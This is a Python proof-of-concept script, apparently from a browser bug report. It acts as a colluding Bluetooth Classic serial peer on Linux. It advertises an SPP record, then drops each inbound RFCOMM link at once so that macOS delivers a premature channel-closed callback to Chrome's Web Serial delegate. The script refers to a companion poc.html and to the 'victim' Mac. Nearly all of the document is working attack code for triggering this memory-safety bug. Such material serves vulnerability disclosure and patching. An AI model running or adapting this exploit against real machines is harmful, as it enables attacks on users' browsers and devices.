#!/usr/bin/env python3
"""
Colluding Bluetooth Classic SPP peer (Linux/BlueZ side).

Goal: get the victim Mac's IOBluetooth to deliver -rfcommChannelClosed: to
Chrome's BluetoothRfcommChannelDelegate while _strongSelf is still nil and
_channel is still set — i.e. before a successful rfcommChannelOpenComplete:.

Strategy: advertise an SPP SDP record so the device appears in Chrome's Web
Serial chooser, accept the inbound ACL/L2CAP, then refuse the RFCOMM DLC open
(DM response) and immediately disconnect the ACL link. On many macOS releases
this produces openComplete(error!=success) followed by channelClosed in the
same CFRunLoop turn, or channelClosed alone — either ordering leaves
_strongSelf unarmed when -rfcommChannelClosed: runs.

This script is illustrative; exact reject timing may need tuning per macOS
version. Run on a Linux box with BlueZ + a BR/EDR-capable adapter, pair it
with the victim Mac, then have the victim load poc.html and pick this device.
"""
import sys
try:
    import bluetooth  # PyBluez
except ImportError:
    sys.exit("PyBluez required: pip install pybluez")

SPP_UUID = "00001101-0000-1000-8000-00805F9B34FB"

def main():
    srv = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
    srv.bind(("", bluetooth.PORT_ANY))
    srv.listen(1)
    chan = srv.getsockname()[1]
    bluetooth.advertise_service(
        srv, "poc-spp", service_id=SPP_UUID,
        service_classes=[SPP_UUID, bluetooth.SERIAL_PORT_CLASS],
        profiles=[bluetooth.SERIAL_PORT_PROFILE])
    print(f"[*] SPP advertised on RFCOMM channel {chan}; pair this host with "
          f"the victim Mac, then select it in the Web Serial chooser.")
    print("[*] Waiting for inbound RFCOMM... will hard-drop on connect.")
    while True:
        client, addr = srv.accept()
        print(f"[+] inbound from {addr} — slamming link before DLC settles")
        # Hard-drop immediately. Depending on kernel timing this surfaces on
        # the Mac as either an open failure or an immediate close. Both are
        # in-scope: _strongSelf is only armed on *successful* openComplete.
        try:
            client.shutdown(2)
        except Exception:
            pass
        client.close()
        # Also tear down the listening socket to force ACL disconnect, then
        # re-arm for the next attempt.
        srv.close()
        srv = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
        srv.bind(("", bluetooth.PORT_ANY))
        srv.listen(1)
        bluetooth.advertise_service(
            srv, "poc-spp", service_id=SPP_UUID,
            service_classes=[SPP_UUID, bluetooth.SERIAL_PORT_CLASS],
            profiles=[bluetooth.SERIAL_PORT_PROFILE])

if __name__ == "__main__":
    main()
